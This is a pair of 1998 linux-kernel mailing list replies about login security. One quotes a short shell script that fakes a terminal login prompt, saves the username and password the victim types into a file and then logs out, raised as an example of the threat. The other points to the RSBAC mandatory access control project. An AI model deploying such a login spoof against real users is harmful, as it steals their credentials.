Re: Linux login security approaches

Re: Linux login security approaches

[jens]

On Sat, Dec 12, 1998 at 06:13:05AM +0100, ralf@uni-koblenz.de wrote:

>> What about just starting (as evil_user, who has an account) the following,
>> hiding behind a corner, and wait for another user?
>> 
>> #!/bin/sh
>> #
>> echo -n "`uname -n` login: "
>> read LOGIN
>> echo -n "Password: "
>> read PW
>> echo $LOGIN $PW >> ~/sneaked_passwords.txt
>> chmod 0600 ~/sneaked_passwords.txt
>> echo "Login incorrect"
>> sleep 1
>> logout
>> 
>> (of course, this has to be a text terminal)
>
> A shell script like that was included with ``UNIX Programmers Workbench'',
> volume 2, as delivered with Edition 7 ...

I'll have a look into this book in our library if they have it, thanks. :)


-- 
_ciao, Jens_______________________________ http://www.pinguin.conetix.de
    cat /dev/boiler/water | tea | sieve > /cup
    mount -t hdev /dev/human/mouth01 /mouth ; cat /cup >/mouth/gulp

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/

Re: Linux login security approaches

[Albert D. Cahalan]

H. L. Miller writes:

> On another question (more "on topic", perhaps), has anyone
> attempted or thought about attempting to add classification
> labels and mandatory access control extensions to Linux?

This being Linux, would you like the patch against 2.1.131?

> Since that is a continuing DoD requirement, which continues
> to be an unsatisfied requirement because there is no
> mainstream OS with those features, this would appear to be
> a window of opportunity for Linux.

Mailing list:
    Send to majordomo@morpork.shnet.org (or rsbac-request@)
    a message with a body of:    subscribe rsbac

Status:
    should be stable enough for real usage

Author:
    A. Ott

Web page:
    http://agn-www.informatik.uni-hamburg.de/people/1ott/rsbac/eng.htm

Goal:
    Orange Book (TCSEC) B1 level



Now, who wants to find all the covert channels?

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/